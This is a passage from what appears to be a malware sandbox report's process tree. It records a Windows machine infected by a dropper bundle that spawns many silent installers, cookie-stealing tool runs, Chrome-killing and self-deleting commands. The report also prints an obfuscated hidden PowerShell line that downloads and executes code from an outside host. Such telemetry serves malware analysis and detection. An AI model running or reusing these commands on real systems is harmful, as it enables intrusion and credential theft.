        C:\Users\Admin\AppData\Local\Temp\i0yj1lyj.dyl\setup_10.2_mix.exe
        
        C:\Users\Admin\AppData\Local\Temp\i0yj1lyj.dyl\setup_10.2_mix.exe
        23⤵
        
        PID:8468
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l0foeqj1.uir\GcleanerWW.exe /mixone & exit
        22⤵
        
        PID:9708
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vhmg4ohl.uyx\app.exe /8-2222 & exit
        22⤵
        
        PID:10476
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"
        18⤵
        
        PID:8152
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"
        19⤵
        
        PID:7252
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install
        20⤵
        
        PID:3244
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"
        18⤵
        
        PID:8180
        
        C:\Users\Admin\AppData\Local\Temp\DJFDFHW0DV\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DJFDFHW0DV\multitimer.exe" 0 306065bb10421b26.04333812 0 103
        19⤵
        
        PID:7012
        
        C:\Users\Admin\AppData\Local\Temp\DJFDFHW0DV\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DJFDFHW0DV\multitimer.exe" 1 3.1617397295.6067862f9a6db 103
        20⤵
        
        PID:1288
        
        C:\Users\Admin\AppData\Local\Temp\DJFDFHW0DV\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DJFDFHW0DV\multitimer.exe" 2 3.1617397295.6067862f9a6db
        21⤵
        
        PID:7936
        
        C:\Users\Admin\AppData\Local\Temp\w3ozqphhtty\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\w3ozqphhtty\cpyrix.exe" /VERYSILENT
        22⤵
        
        PID:8388
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        23⤵
        
        PID:9556
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        23⤵
        
        PID:9072
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        24⤵
        
        PID:5868
        
        C:\Users\Admin\AppData\Local\Temp\o5dt3yarf5i\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\o5dt3yarf5i\Setup3310.exe" /Verysilent /subid=577
        22⤵
        
        PID:3336
        
        C:\Users\Admin\AppData\Local\Temp\is-QN2J4.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-QN2J4.tmp\Setup3310.tmp" /SL5="$106FE,138429,56832,C:\Users\Admin\AppData\Local\Temp\o5dt3yarf5i\Setup3310.exe" /Verysilent /subid=577
        23⤵
        
        PID:8992
        
        C:\Users\Admin\AppData\Local\Temp\is-EBTI3.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-EBTI3.tmp\Setup.exe" /Verysilent
        24⤵
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\yvpvy15bc3u\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yvpvy15bc3u\vict.exe" /VERYSILENT /id=535
        22⤵
        
        PID:9132
        
        C:\Users\Admin\AppData\Local\Temp\is-IKDU5.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-IKDU5.tmp\vict.tmp" /SL5="$10760,870426,780800,C:\Users\Admin\AppData\Local\Temp\yvpvy15bc3u\vict.exe" /VERYSILENT /id=535
        23⤵
        
        PID:5140
        
        C:\Users\Admin\AppData\Local\Temp\is-1V4I2.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-1V4I2.tmp\win1host.exe" 535
        24⤵
        
        PID:10696
        
        C:\Users\Admin\AppData\Local\Temp\5jzvmnfao4j\bztdij3errn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5jzvmnfao4j\bztdij3errn.exe" /ustwo INSTALL
        22⤵
        
        PID:4848
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 652
        23⤵
        Program crash
        
        PID:9784
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 668
        23⤵
        Program crash
        
        PID:8524
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 716
        23⤵
        Program crash
        
        PID:5232
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4848 -s 624
        23⤵
        Program crash
        
        PID:9664
        
        C:\Users\Admin\AppData\Local\Temp\pz0jngpnc2b\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pz0jngpnc2b\app.exe" /8-23
        22⤵
        
        PID:8320
        
        C:\Users\Admin\AppData\Local\Temp\B7EVAZ8N4Z\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\B7EVAZ8N4Z\setups.exe" ll
        19⤵
        
        PID:7820
        
        C:\Users\Admin\AppData\Local\Temp\is-UVJ9C.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-UVJ9C.tmp\setups.tmp" /SL5="$3038E,635399,250368,C:\Users\Admin\AppData\Local\Temp\B7EVAZ8N4Z\setups.exe" ll
        20⤵
        
        PID:6216
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\J1bOtx55AJEQ.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\J1bOtx55AJEQ.exe"
        18⤵
        
        PID:7300
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        19⤵
        
        PID:7312
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe"
        18⤵
        
        PID:7180
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe"
        19⤵
        
        PID:3288
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Remove.bat" 3288 C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe"
        20⤵
        
        PID:7332
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /PID 3288
        21⤵
        Kills process with taskkill
        
        PID:4852
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"
        18⤵
        
        PID:6964
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"
        18⤵
        
        PID:8184
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        19⤵
        
        PID:6836
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        20⤵
        
        PID:6548
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
        18⤵
        
        PID:8004
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"
        18⤵
        
        PID:8116
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"
        18⤵
        
        PID:4204
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        19⤵
        
        PID:7780
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        19⤵
        
        PID:3556
        
        C:\Users\Admin\AppData\Local\Temp\0buqz545rsl\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0buqz545rsl\app.exe" /8-23
        15⤵
        
        PID:2660
        
        C:\Users\Admin\AppData\Local\Temp\0buqz545rsl\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0buqz545rsl\app.exe" /8-23
        16⤵
        
        PID:9204
        
        C:\Users\Admin\AppData\Local\Temp\14hucgurdvv\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\14hucgurdvv\vpn.exe" /silent /subid=482
        15⤵
        
        PID:5924
        
        C:\Users\Admin\AppData\Local\Temp\is-FLKNJ.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FLKNJ.tmp\vpn.tmp" /SL5="$40542,15170975,270336,C:\Users\Admin\AppData\Local\Temp\14hucgurdvv\vpn.exe" /silent /subid=482
        16⤵
        
        PID:4292
        
        C:\Users\Admin\AppData\Local\Temp\bvxetfrbs0q\z1l3ka4vt2p.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvxetfrbs0q\z1l3ka4vt2p.exe" /ustwo INSTALL
        15⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 656
        16⤵
        Program crash
        
        PID:3692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 668
        16⤵
        Program crash
        
        PID:6052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 624
        16⤵
        Program crash
        
        PID:6568
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 668
        16⤵
        Program crash
        
        PID:5976
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 884
        16⤵
        Program crash
        
        PID:5736
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 960
        16⤵
        Program crash
        
        PID:3720
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 972
        16⤵
        Program crash
        
        PID:5744
        
        C:\Users\Admin\AppData\Local\Temp\YLWBGNOKM4\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\YLWBGNOKM4\setups.exe" ll
        12⤵
        
        PID:4252
        
        C:\Users\Admin\AppData\Local\Temp\is-MHEDP.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MHEDP.tmp\setups.tmp" /SL5="$3050C,635399,250368,C:\Users\Admin\AppData\Local\Temp\YLWBGNOKM4\setups.exe" ll
        13⤵
        
        PID:200
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"
        11⤵
        
        PID:812
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        12⤵
        
        PID:5040
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        13⤵
        
        PID:5772
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe"
        11⤵
        
        PID:5836
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe"
        12⤵
        
        PID:6300
        
        C:\Users\Admin\Videos\lilal.exe
        
        "C:\Users\Admin\Videos\lilal.exe"
        13⤵
        
        PID:6712
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        14⤵
        
        PID:7064
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Dir.mui
        14⤵
        
        PID:5256
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        15⤵
        
        PID:852
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Remove.bat" 6300 C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lilalmix.exe"
        13⤵
        
        PID:6620
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /PID 6300
        14⤵
        Kills process with taskkill
        
        PID:4484
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        14⤵
        
        PID:3608
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\J1bOtx55AJEQ.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\J1bOtx55AJEQ.exe"
        11⤵
        
        PID:5624
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        12⤵
        
        PID:2852
        
        C:\Users\Admin\AppData\Local\Temp\3v0ugtxz4vz\KiffApp1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3v0ugtxz4vz\KiffApp1.exe"
        8⤵
        
        PID:5408
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\GveMnyUS1.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\GveMnyUS1.exe"
        9⤵
        
        PID:3432
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        10⤵
        
        PID:2916
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        10⤵
        
        PID:4464
        
        C:\Users\Admin\AppData\Local\Temp\cihyycpbzsc\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cihyycpbzsc\cpyrix.exe" /VERYSILENT
        8⤵
        
        PID:5476
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        9⤵
        
        PID:4728
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        "{path}"
        10⤵
        
        PID:5308
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        9⤵
        
        PID:4892
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        10⤵
        
        PID:5916
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        10⤵
        
        PID:5384
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        11⤵
        
        PID:5236
        
        C:\Users\Admin\AppData\Local\Temp\3y33p3b12wb\i34ty55ac1m.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3y33p3b12wb\i34ty55ac1m.exe" /ustwo INSTALL
        8⤵
        
        PID:5456
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 660
        9⤵
        Program crash
        
        PID:2176
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 712
        9⤵
        Program crash
        
        PID:5168
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 692
        9⤵
        Program crash
        
        PID:648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 672
        9⤵
        Program crash
        
        PID:3904
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 884
        9⤵
        Program crash
        
        PID:5160
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 932
        9⤵
        Program crash
        
        PID:5680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5456 -s 884
        9⤵
        Program crash
        
        PID:5584
        
        C:\Users\Admin\AppData\Local\Temp\1h1aepggrzj\mzbjrq2myxq.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1h1aepggrzj\mzbjrq2myxq.exe" /VERYSILENT
        8⤵
        
        PID:5764
        
        C:\Users\Admin\AppData\Local\Temp\is-KC85Q.tmp\mzbjrq2myxq.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-KC85Q.tmp\mzbjrq2myxq.tmp" /SL5="$502EE,2592217,780800,C:\Users\Admin\AppData\Local\Temp\1h1aepggrzj\mzbjrq2myxq.exe" /VERYSILENT
        9⤵
        
        PID:5840
        
        C:\Users\Admin\AppData\Local\Temp\is-DA71N.tmp\winlthsth.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-DA71N.tmp\winlthsth.exe"
        10⤵
        
        PID:1792
        
        C:\Users\Admin\AppData\Local\Temp\y315awvDL.exe
        
        "C:\Users\Admin\AppData\Local\Temp\y315awvDL.exe"
        11⤵
        
        PID:4432
        
        C:\Users\Admin\AppData\Local\Temp\y315awvDL.exe
        
        "C:\Users\Admin\AppData\Local\Temp\y315awvDL.exe"
        12⤵
        
        PID:5796
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        11⤵
        
        PID:6288
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        12⤵
        
        PID:1404
        
        C:\Users\Admin\AppData\Local\Temp\yeifmpemjo4\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yeifmpemjo4\app.exe" /8-23
        8⤵
        
        PID:5872
        
        C:\Users\Admin\AppData\Local\Temp\yeifmpemjo4\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yeifmpemjo4\app.exe" /8-23
        9⤵
        
        PID:6420
        
        C:\Users\Admin\AppData\Local\Temp\p1oqsuott4r\IBInstaller_97039.exe
        
        "C:\Users\Admin\AppData\Local\Temp\p1oqsuott4r\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        8⤵
        
        PID:5944
        
        C:\Users\Admin\AppData\Local\Temp\is-BIV1U.tmp\IBInstaller_97039.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BIV1U.tmp\IBInstaller_97039.tmp" /SL5="$203F6,12322324,721408,C:\Users\Admin\AppData\Local\Temp\p1oqsuott4r\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        9⤵
        
        PID:5972
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
        10⤵
        
        PID:6024
        
        C:\Users\Admin\AppData\Local\Temp\is-MBH1C.tmp\{app}\chrome_proxy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-MBH1C.tmp\{app}\chrome_proxy.exe"
        10⤵
        
        PID:6048
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-MBH1C.tmp\{app}\chrome_proxy.exe"
        11⤵
        
        PID:4768
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 4
        12⤵
        Runs ping.exe
        
        PID:2096
        
        C:\Users\Admin\AppData\Local\Temp\25o4xgwptww\lp0p4ezhjdl.exe
        
        "C:\Users\Admin\AppData\Local\Temp\25o4xgwptww\lp0p4ezhjdl.exe" /quiet SILENT=1 AF=756
        8⤵
        
        PID:6004
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\25o4xgwptww\lp0p4ezhjdl.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\25o4xgwptww\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617145068 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
        9⤵
        
        PID:4684
        
        C:\Users\Admin\AppData\Local\Temp\qqpwojnys1c\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\qqpwojnys1c\vpn.exe" /silent /subid=482
        8⤵
        
        PID:5280
        
        C:\Users\Admin\AppData\Local\Temp\is-DFI7U.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DFI7U.tmp\vpn.tmp" /SL5="$10460,15170975,270336,C:\Users\Admin\AppData\Local\Temp\qqpwojnys1c\vpn.exe" /silent /subid=482
        9⤵
        
        PID:4708
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        10⤵
        
        PID:6312
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        11⤵
        
        PID:7160
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        10⤵
        
        PID:7088
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        11⤵
        
        PID:6412
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        10⤵
        
        PID:7248
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        10⤵
        
        PID:4548
        
        C:\Users\Admin\AppData\Local\Temp\uu2sgt4pqnc\vu4n0bm3yup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\uu2sgt4pqnc\vu4n0bm3yup.exe"
        8⤵
        
        PID:5880
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\uu2sgt4pqnc\vu4n0bm3yup.exe"
        9⤵
        
        PID:5612
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        10⤵
        Runs ping.exe
        
        PID:3440
        
        C:\Users\Admin\AppData\Local\Temp\kvqkw4pzaha\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\kvqkw4pzaha\vict.exe" /VERYSILENT /id=535
        8⤵
        
        PID:3296
        
        C:\Users\Admin\AppData\Local\Temp\is-CA188.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-CA188.tmp\vict.tmp" /SL5="$30486,870426,780800,C:\Users\Admin\AppData\Local\Temp\kvqkw4pzaha\vict.exe" /VERYSILENT /id=535
        9⤵
        
        PID:5968
        
        C:\Users\Admin\AppData\Local\Temp\is-ACOG1.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-ACOG1.tmp\win1host.exe" 535
        10⤵
        
        PID:4300
        
        C:\Users\Admin\AppData\Local\Temp\rSbaAa1hB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rSbaAa1hB.exe"
        11⤵
        
        PID:4864
        
        C:\Users\Admin\AppData\Local\Temp\rSbaAa1hB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rSbaAa1hB.exe"
        12⤵
        
        PID:2892
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 668
        11⤵
        Program crash
        
        PID:7140
    - - C:\Users\Admin\AppData\Local\Temp\U5I6BFWGIQ\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\U5I6BFWGIQ\setups.exe" ll
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1532
      - C:\Users\Admin\AppData\Local\Temp\is-4SKV1.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-4SKV1.tmp\setups.tmp" /SL5="$20208,635399,250368,C:\Users\Admin\AppData\Local\Temp\U5I6BFWGIQ\setups.exe" ll
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2212
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:204
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3976
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:500
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        5⤵
        
        PID:4628
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        6⤵
        Loads dropped DLL
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        
        PID:4856
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:4672
    - - C:\Users\Admin\AppData\Roaming\D0A4.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\D0A4.tmp.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1840
      - C:\Users\Admin\AppData\Roaming\D0A4.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\D0A4.tmp.exe"
        6⤵
        Executes dropped EXE
        
        PID:4952
    - - C:\Users\Admin\AppData\Roaming\D354.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\D354.tmp.exe"
        5⤵
        
        PID:4340
      - C:\Windows\system32\msiexec.exe
        
